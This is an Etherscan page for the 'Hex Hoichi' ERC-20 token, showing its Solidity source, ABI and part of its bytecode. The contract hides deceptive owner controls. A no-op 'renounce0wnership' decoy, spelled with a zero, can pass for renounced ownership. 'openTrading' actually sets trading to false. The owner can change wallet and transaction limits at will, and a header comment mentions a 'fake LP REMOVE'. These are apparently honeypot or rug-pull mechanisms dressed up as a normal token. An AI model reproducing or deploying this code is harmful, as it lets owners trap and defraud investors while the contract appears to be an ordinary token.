Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 HxH
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,147,444,483.333518649 HxHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MainContract
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-12 */ // SPDX-License-Identifier: MIT /* Token Name: Hex Hoichi Symbol: HxH Supply: 1,000,000,000,000 initial buy 1% 10,000,000,000 lift to max wallet 3% 30,000,000,000 after fake LP REMOVE to kick bots Tax: 4/8 buy/sell revert tax to 4/4 after lock 2% LP 2% Market https://t.me/HEXHOICHI */ pragma solidity 0.8.15; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MainContract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletSize; bool private _true = false; string private constant _name = "Hex Hoichi"; string private constant _symbol = "HxH"; uint8 private constant _decimals = 9; uint256 public buyLiquidityFee=2; uint256 public buyBurnFee=0; uint256 public buyMarketingFee=2; uint256 public totalBuyFees = buyLiquidityFee + buyBurnFee + buyMarketingFee; //initial sell tax to be reverted to 4% after bots are kicked uint256 public sellLiquidityFee=4; uint256 public sellBurnFee=0; uint256 public sellMarketingFee= 4; uint256 public totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee; uint256 public tokensForAutoLiquidity; uint256 public tokensForAutoBurn; uint256 public tokensForMarketing; uint16 public masterTaxDivisor = 100; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; address public pairAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _tTotal = 1000000000000 * 10**9; uint256 private maxWalletAmount = 10000000001 * 10**9; uint256 private maxTxAmount = 10000000001 * 10**9; address payable private MarketAddrWallet; event MaxWalletAmountUpdated(uint maxWalletAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); MarketAddrWallet = payable(0xe286015C1e0d362B5693b9a3A3089b14Fa6d64F2); _tOwned[owner()] = _tTotal; uint256 _buyLiquidityFee = 2; uint256 _buyBurnFee = 0; uint256 _buyMarketingFee = 2; uint256 _sellLiquidityFee = 4; uint256 _sellBurnFee = 0; uint256 _sellMarketingFee = 4; sellLiquidityFee = _sellLiquidityFee; sellBurnFee = _sellBurnFee; sellMarketingFee = _sellMarketingFee; totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBurnFee = _buyBurnFee; buyMarketingFee = _buyMarketingFee; totalBuyFees = buyLiquidityFee + buyBurnFee + buyMarketingFee; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[MarketAddrWallet] = true; _isExcludedFromMaxWalletSize[owner()] = true; _isExcludedFromMaxWalletSize[address(this)] = true; _isExcludedFromMaxWalletSize[MarketAddrWallet] = true; swapEnabled = true; tradingOpen = true; maxTxAmount = 10000000001 * 10**9; maxWalletAmount = 10000000001 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function getTxAmount() public view returns(uint256) {return maxTxAmount;} function getMaxWallet() public view returns(uint256) {return maxWalletAmount;} function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function renounce0wnership() public virtual onlyOwner {} function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize."); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } function openTrading() public onlyOwner { tradingOpen = _true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { _tOwned[sender] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount; _tOwned[recipient] += amountReceived; emit Transfer(sender, recipient, amountReceived); } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { if(from == uniswapV2Pair && totalBuyFees > 0 ) { tokensForAutoLiquidity = amount * buyLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * buyBurnFee / masterTaxDivisor; tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor; } else if (to == uniswapV2Pair && totalSellFees > 0 ) { tokensForAutoLiquidity = amount * sellLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * sellBurnFee / masterTaxDivisor; tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor; } _tOwned[pairAddress] += tokensForAutoLiquidity; emit Transfer(from, pairAddress, tokensForAutoLiquidity); _tOwned[DEAD] += tokensForAutoBurn; _tTotal = _tTotal - tokensForAutoBurn; _tTotal = totalSupply(); emit Transfer(from, DEAD, tokensForAutoBurn); _tOwned[address(this)] += tokensForMarketing; emit Transfer(from, address(this), tokensForMarketing); uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing; return amount - feeAmount; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = true; } function includeInMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = false; } function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{ maxTxAmount = _maxTxAmount * 10 **_decimals; maxWalletAmount = _maxWalletSize * 10 **_decimals; } function SetWalletand( uint256 _maxWalletSize) external onlyOwner{ maxWalletAmount = _maxWalletSize * 10 **_decimals; } function sendETHToFee(uint256 amount) private { MarketAddrWallet.transfer(amount); } function RervertSellFeesToOriginalTax() external onlyOwner{ sellLiquidityFee = 2; sellBurnFee = 0; sellMarketingFee = 2; totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee; } receive() external payable{ } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RervertSellFeesToOriginalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounce0wnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600560006101000a81548160ff02191690831515021790555060026006556000600755600260085560085460075460065462000043919062000bbf565b6200004f919062000bbf565b6009556004600a556000600b556004600c55600c54600b54600a5462000076919062000bbf565b62000082919062000bbf565b600d556064601160006101000a81548161ffff021916908361ffff1602179055506000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff021916908315150217905550683635c9adc5dea00000601455678ac72304c582ca00601555678ac72304c582ca006016553480156200010b57600080fd5b506200012c6200012062000a9160201b60201c565b62000a9960201b60201c565b601360149054906101000a900460ff16156200017f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001769062000c7d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024b919062000d09565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d9919062000d09565b6040518363ffffffff1660e01b8152600401620002f892919062000d4c565b6020604051808303816000875af115801562000318573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033e919062000d09565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f0919062000d09565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000458573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047e919062000d09565b6040518363ffffffff1660e01b81526004016200049d92919062000d4c565b602060405180830381865afa158015620004bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e1919062000d09565b601160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e286015c1e0d362b5693b9a3a3089b14fa6d64f2601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601454600160006200058d62000b5d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060029050600080600290506000600490506000806004905082600a8190555081600b8190555080600c81905550600c54600b54600a546200060f919062000bbf565b6200061b919062000bbf565b600d819055508560068190555084600781905550836008819055506008546007546006546200064b919062000bbf565b62000657919062000bbf565b6009819055506001600360006200067362000b5d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620007ac62000b5d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550678ac72304c582ca00601681905550678ac72304c582ca00601581905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620009c492919062000d8a565b6020604051808303816000875af1158015620009e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a0a919062000df4565b5062000a1b62000b5d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60145460405162000a7c919062000e26565b60405180910390a35050505050505062000e43565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000bcc8262000b86565b915062000bd98362000b86565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c115762000c1062000b90565b5b828201905092915050565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600062000c6560178362000c1c565b915062000c728262000c2d565b602082019050919050565b6000602082019050818103600083015262000c988162000c56565b9050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000cd18262000ca4565b9050919050565b62000ce38162000cc4565b811462000cef57600080fd5b50565b60008151905062000d038162000cd8565b92915050565b60006020828403121562000d225762000d2162000c9f565b5b600062000d328482850162000cf2565b91505092915050565b62000d468162000cc4565b82525050565b600060408201905062000d63600083018562000d3b565b62000d72602083018462000d3b565b9392505050565b62000d848162000b86565b82525050565b600060408201905062000da1600083018562000d3b565b62000db0602083018462000d79565b9392505050565b60008115159050919050565b62000dce8162000db7565b811462000dda57600080fd5b50565b60008151905062000dee8162000dc3565b92915050565b60006020828403121562000e0d5762000e0c62000c9f565b5b600062000e1d8482850162000ddd565b91505092915050565b600060208201905062000e3d600083018462000d79565b92915050565b6135e88062000e536000396000f3fe60806040526004361061021e5760003560e01c80639213691311610123578063cc70acee116100ab578063ebc4b90d1161006f578063ebc4b90d1461078c578063ebece9c9146107b5578063f11a24d3146107de578063f2fde38b14610809578063f63743421461083257610225565b8063cc70acee146106a5578063d0a39814146106d0578063dd62ed3e146106fb578063e71dc3f514610738578063ea2f0b371461076357610225565b8063a8b08982116100f2578063a8b08982146105d0578063a9059cbb146105fb578063adb873bd14610638578063b9e9370014610663578063c9567bf91461068e57610225565b8063921369131461052657806395d89b41146105515780639740a9461461057c5780639f71146d146105a757610225565b80633722355c116101a657806370a082311161017557806370a0823114610451578063715018a61461048e5780637bce5a04146104a557806384d6c8c6146104d05780638da5cb5b146104fb57610225565b80633722355c146103d15780633e0c23b8146103fa578063437823ec1461041157806343f08a941461043a57610225565b806318160ddd116101ed57806318160ddd146102e85780631d6167ac146103135780631f3fed8f1461033e57806323b872dd14610369578063313ce567146103a657610225565b806303fd2a451461022a57806306fdde0314610255578063095ea7b3146102805780630fa604e4146102bd57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f61085d565b60405161024c9190612679565b60405180910390f35b34801561026157600080fd5b5061026a610863565b604051610277919061272d565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a291906127b6565b6108a0565b6040516102b49190612811565b60405180910390f35b3480156102c957600080fd5b506102d26108be565b6040516102df919061283b565b60405180910390f35b3480156102f457600080fd5b506102fd6108c8565b60405161030a919061283b565b60405180910390f35b34801561031f57600080fd5b506103286108d2565b6040516103359190612873565b60405180910390f35b34801561034a57600080fd5b506103536108e6565b604051610360919061283b565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b919061288e565b6108ec565b60405161039d9190612811565b60405180910390f35b3480156103b257600080fd5b506103bb6109ed565b6040516103c891906128fd565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f39190612918565b6109f6565b005b34801561040657600080fd5b5061040f610acd565b005b34801561041d57600080fd5b5061043860048036038101906104339190612918565b610b86565b005b34801561044657600080fd5b5061044f610c5d565b005b34801561045d57600080fd5b5061047860048036038101906104739190612918565b610cdb565b604051610485919061283b565b60405180910390f35b34801561049a57600080fd5b506104a3610d24565b005b3480156104b157600080fd5b506104ba610dac565b6040516104c7919061283b565b60405180910390f35b3480156104dc57600080fd5b506104e5610db2565b6040516104f2919061283b565b60405180910390f35b34801561050757600080fd5b50610510610dbc565b60405161051d9190612679565b60405180910390f35b34801561053257600080fd5b5061053b610de5565b604051610548919061283b565b60405180910390f35b34801561055d57600080fd5b50610566610deb565b604051610573919061272d565b60405180910390f35b34801561058857600080fd5b50610591610e28565b60405161059e919061283b565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c99190612918565b610e2e565b005b3480156105dc57600080fd5b506105e5610f05565b6040516105f29190612679565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d91906127b6565b610f2b565b60405161062f9190612811565b60405180910390f35b34801561064457600080fd5b5061064d610f49565b60405161065a919061283b565b60405180910390f35b34801561066f57600080fd5b50610678610f4f565b604051610685919061283b565b60405180910390f35b34801561069a57600080fd5b506106a3610f55565b005b3480156106b157600080fd5b506106ba610ffc565b6040516106c7919061283b565b60405180910390f35b3480156106dc57600080fd5b506106e5611002565b6040516106f2919061283b565b60405180910390f35b34801561070757600080fd5b50610722600480360381019061071d9190612945565b611008565b60405161072f919061283b565b60405180910390f35b34801561074457600080fd5b5061074d61108f565b60405161075a919061283b565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190612918565b611095565b005b34801561079857600080fd5b506107b360048036038101906107ae9190612985565b61116c565b005b3480156107c157600080fd5b506107dc60048036038101906107d791906129b2565b61120a565b005b3480156107ea57600080fd5b506107f36112c8565b604051610800919061283b565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b9190612918565b6112ce565b005b34801561083e57600080fd5b506108476113c5565b604051610854919061283b565b60405180910390f35b61dead81565b60606040518060400160405280600a81526020017f48657820486f6963686900000000000000000000000000000000000000000000815250905090565b60006108b46108ad6113cb565b84846113d3565b6001905092915050565b6000601554905090565b6000601454905090565b601160009054906101000a900461ffff1681565b60105481565b60006108f984848461159c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109446113cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90612a64565b60405180910390fd5b6109e1856109d06113cb565b85846109dc9190612ab3565b6113d3565b60019150509392505050565b60006009905090565b6109fe6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610a1c610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990612b33565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad56113cb565b73ffffffffffffffffffffffffffffffffffffffff16610af3610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612b33565b60405180910390fd5b6002600a819055506000600b819055506002600c81905550600c54600b54600a54610b749190612b53565b610b7e9190612b53565b600d81905550565b610b8e6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610bac610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990612b33565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c656113cb565b73ffffffffffffffffffffffffffffffffffffffff16610c83610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040